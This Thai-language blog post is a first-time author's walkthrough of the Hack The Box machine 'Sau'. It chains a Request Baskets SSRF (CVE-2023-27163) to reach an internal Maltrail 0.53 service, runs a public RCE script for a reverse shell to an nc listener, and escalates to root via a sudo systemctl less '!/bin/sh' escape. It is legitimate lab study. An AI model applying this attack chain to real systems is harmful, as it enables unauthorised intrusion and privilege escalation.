สวัสดีครับผู้อ่านทุกท่าน🙇♂️🙇♂️ ในบทความนี้จะเป็นการพาไปทำ Hack The Box Machine ที่ชื่อว่า Sau ครับ
สำหรับเครื่อง Sau นี้ ระดับความยากอยู่ที่ระดับ Easy ครับ เหมาะครับสำหรับคนที่มือใหม่ (เช่นผม) มาก ๆ ส่วนใหญ่การที่จะยึดเครื่องนี้ได้จะใช้ Public Vulnerability ครับ รอช้าอยู่ไยยย ไปเริ่มกันเลยยครับบบบบบ!!!
หน้าตาของเครื่อง
หลังจากเชื่อมต่อ VPN แล้วกด Join Machine แล้วเราจะได้ IP ของเครื่องมา (10.10.11.224)
ขั้นแรก เริ่มจากสแกน Network ด้วยเครื่องมือ nmap
จากรูป สามารถอธิบายได้ว่า
- -Pn คือ skip Host discover (No ping)
ผลลัพธ์ที่ได้
พบว่าเจอ Port แปลก ๆ คือ “55555” ไม่เลยรู้ว่าเป็น Service อะไร
ผมเลยลองใช้เครื่องมือ curl เผื่อเป็น Service ที่เกี่ยวข้องกับ HTTP แล้วผมพบว่าสามารถส่งไปหา Server ได้และมี Tag HTML พร้อมกับ Link ไปยังไดเรคทอรี /web
จากนั้นผมใช้ curl อีกครั้งด้วยคำสั่งเดิม แต่เพิ่มเติมพาธ /web ด้วย
Server ตอบกลับมาด้วย HTML หน้าเพจ เพจนึง
ด้วยความที่เป็น Text หมดเลยค่อนข้างจะดูยาก ผมจึงนำ URL ดังกล่าวไปเปิดผ่าน Browser ทำให้มันดูง่ายขึ้น และพบว่าใช้ Software Service request baskets พร้อมกับเลข Version 1.2.1”
ผมนำ Version ไปค้นหา Public Vulnerability พบว่ามีช่องโหว่ตรงกันคือ CVE-2023–27163 เป็นช่องโหว่ประเภท SSRF คือเราจะให้ฝั่ง Server ไปเรียก Request ที่ Server อื่น (บางทีหน้าเพจนั้นๆ ไม่อนุญาตให้สิทธิ์เข้าใช้งานจากด้านนอก แต่อนุญาตภายในด้วยกันเอง ทั้งนี้หากมีช่องโหว่ SSRF อยู่เราจะใช้เครื่องที่มีช่องโหว่เรียกไปยัง Server นั้น และสามารถเข้าถึงได้นั่นเอง) และมี PoC อยู่ (ข้อมูลเพิ่มเติมสำหรับ CVE นี้)
จากนั้นผมไม่รอช้า Clone Repository มาลองใช้งาน PoC
โดยการใช้งานนั้น
./CVE-2023–27163.sh <Target> <ForwardUrl>
ขั้นแรกลองใช้งานด้วยการเรียกมาที่ Network ของเราเอง โดยที่เราเปิดไว้ให้เชื่อมต่อเข้ามาด้วยการใช้เครื่องมือ nc (netcat) สำหรับรอการเชื่อมต่อ Network connection listening Mode
จากรูป สามารถอธิบายได้ว่า
- -n คือ ให้ใช้งานด้วยเลข IP Address
- -l คือ ตั้งตัวเป็นโหมด Listen เพื่อรอการเชื่อมต่อ
- -v คือ Verbose เพื่อให้เห็นข้อมูลมากขึ้น
- -p คือ กำหนดเลข Port สำหรับใช้งาน
- 8888 คือ หมายเลข Port ที่ใช้งาน
จากนั้นใช้ PoC แล้วให้มาเรียกเซิร์ฟเวอร์ที่เราเปิดรอไว้ (เซิร์ฟเวอร์ของผมคือ 10.10.16.37:8888) จาก PoC เราจะได้ URL ที่เรียก Request ไปยังเซิร์ฟเวอร์ของเราที่เราตั้งไว้
ทีนี้เราเรียก URL ที่ PoC สร้างขึ้นมาเพื่อตรวจสอบดูว่าสามารถทำ SSRF ได้จริงหรือไม่โดยการใช้ curl
กลับมาดูแท็บ nc ที่เราเปิดไว้ พบว่ามีการเรียกเข้าจาก 10.10.11.224 จริงๆ
ดังนั้น จึงสรุปได้ว่า PoC สามารถใช้งานกับระบบนี้ได้ หรือก็คือระบบนี้มีช่องโหว่ที่เป็น SSRF
เห็นอย่างงี้แล้ว เราสามารถทำอะไรได้บ้างนะ? เราจะไปต่อยังไง? ด้วยช่องโหว่ชนิด SSRF นี้ งั้นถ้าหากเราให้มันเรียกไปที่ Server ตัวมันเองจะเกิดอะไรขึ้น??? ไม่มีทางรู้ได้ถ้าไม่ลอง
ดังนั้นผมทำการเปลี่ยน Server Request ไปที่ตัว Server เองด้วย Loopback IP address “127.0.0.1”
ทำขั้นตอนเดิม โดยใช้ curl เรียกดู และพบว่า Server ตอบกลับด้วยเพจอะไรสักอย่างซึ่งเป็น HTML เต็มไปหมด
เพื่อความดูง่ายผมจึงเรียกผ่าน Browser จากนั้นพบว่าหน้าเพจมี Service ที่ชื่อ “Maltrail” พร้อม Version “0.53”
ครับบ พอเห็นแบบนี้ผมก็นำ Service และเลข Version ไปค้นหา Public Vulnerability เหมือนตอนแรกที่ทำเลยครับ
ซึ่งผมก็เจอ Vulnerability ชนิด RCE ที่มี Script ให้สามารถ Exploit ได้
ไม่รอช้า ผมก็ Clone Repository มาใช้งาน โดย Script จะเป็นการทำ Reverse Shell (เป็นการเปิด Network รอ เพื่อรอการติดต่อกลับมา)
python3 [exploit.py](<http://exploit.py/>) [listening_IP] [listening_PORT] [target_URL]
ทีนี้ก็เหลือแต่ส่วน “target_URL” หามาจากไหนล่ะ ที่เราต้องการจะให้ Server สร้าง Reverse Shell?? ก็ PoC ของช่องโหว่ Request Basket นั่นเอง ที่เราสามารถเข้าไปถึงตัว Service “Maltrail v0.53” ทีนี้เงื่อนไขก็ครบแล้ว อย่ารอช้าเรารีบไปหา Flag กันเลย
เช่นเดิมครับ ขั้นตอนแรก ใช้ nc เพื่อเปิด Network connection listening Mode เช่นเดิม
จากนั้นผมก็รัน Script
ไปที่แท็ปที่เราเปิด nc Listening Mode พบว่ามีการติดต่อเข้ามาและมีเครื่องหมาย $ หมายความว่าเรา Shell ติดแล้วว สามารถใส่ Command ได้เลย
จากนั้นผมจะทำให้มันเป็น Full Interactive TTYs เผื่อได้อย่างอื่นต่อ เป็นการทำแล้วอุ่นใจ โดยผมจะใช้คำสั่งของ python3 จริงๆแล้วมีหลากหลายวิธีมากครับ สามารถอ่านเพิ่มเติมได้ ที่นี่
python3 -c ‘import pty; pty.spawn(“/bin/bash”);’
ทีนี้ เราก็จะได้ Shell หน้าตาที่คุ้นเคยกันแล้ววว
ใกล้ถึง Flag แล้ววววว… โดยทั่วไป Flag จะอยู่ที่ /home ไดเรคทอรี ไม่รอช้าไปเช็คเลย.. พบว่าเจอไดเรคทอรี puma
เข้าไดเรคทอรี puma ไป จากนั้นลิสต์ไฟล์ออกมาก็พบ user.txt ทีนี้เราได้ user flag แล้ววว cat อ่านแล้วส่งตอบโลด
ปัญหาต่อมาของเราคือ root flag ยังไงก็ต้องอยู่ในไดเรคทอรี /root แต่เราไม่มีสิทธิ์เข้าถึงไดเรคทอรีนี้ ทำยังดีกันนะ??
ติ๊กต็อกๆ…. คิดอะไรไม่ออกก็ลองใช้ Command sudo -l เพื่อเช็กลิสต์ว่า user สามารถทำอะไรได้บ้าง และพบว่า all user สามารถรัน
/user/bin/systemctl status trail.service
โดยไม่ใช้รหัสผ่าน
ดังนั้นผมจึงรันด้วยสิทธิ์ root เพื่อหาวิธียกสิทธิ์จาก user ธรรมดาเป็น root
sudo /user/bin/systemctl status trail.service
หลังจากรันคำสั่งก็พบว่าเป็นการใช้งาน less (ใช้สำหรับดู content ของไฟล์) เรียกดู trail.service อยู่
เห็นอย่างนี้แล้ว (เป็นคำสั่ง less ใช้สิทธิ์ root รัน) เราจะยกสิทธิ์ให้ได้ root ยังไงกันล่ะ…
ผมก็หาข้อมูลวิธีสร้าง Shell Root จากการใช้คำสั่ง less ก็พบว่าสามารถเป็นสิทธิ์ root ได้
จากข้อมูลที่เรามีอยู่ จะเข้าเงื่อนไขการสร้าง Shell ด้วยคำสั่ง !/bin/sh ในขณะที่ใช้คำสั่ง less นี้อยู่ได้เลย..
เย่ เราได้สิทธิ์ root มาแล้ว ทีนี้ก็พุ่งไปหา flag ที่ไดเรคทอรี /root กันเลยย
เยี่ยม เราได้ root flag กันแล้ว
cat เปิดอ่านและนำส่ง ส่งครบสอง flag แล้ว เราก็จะได้คะแนนมาครับ
ยินดีกับทุกคนด้วยยย ผ่านข้อนี้กันแล้ว ก้าวไปอีกก้าวแล้วว🎉🎉🎉
ขอขอบคุณผู้อ่านทุกท่าน ที่อ่านจนถึงตอนนี้ หวังเป็นอย่างยิ่งว่าบทความนี้จะเป็นประโยชน์ไม่มากก็น้อย และนี่เป็นการเขียนบทความครั้งแรกในชีวิตที่เขียนให้ผู้อื่นได้อ่าน หากผิดพลาดตรงไหน (รวมถึงการใช้คำที่ไม่ตรงความหมายต่างๆ) ต้องขออภัยด้วยครับ ครั้งหน้าจะพยายามให้มากยิ่งขึ้น ไว้รอติดตามกันด้วยนะครับ ♥♥♥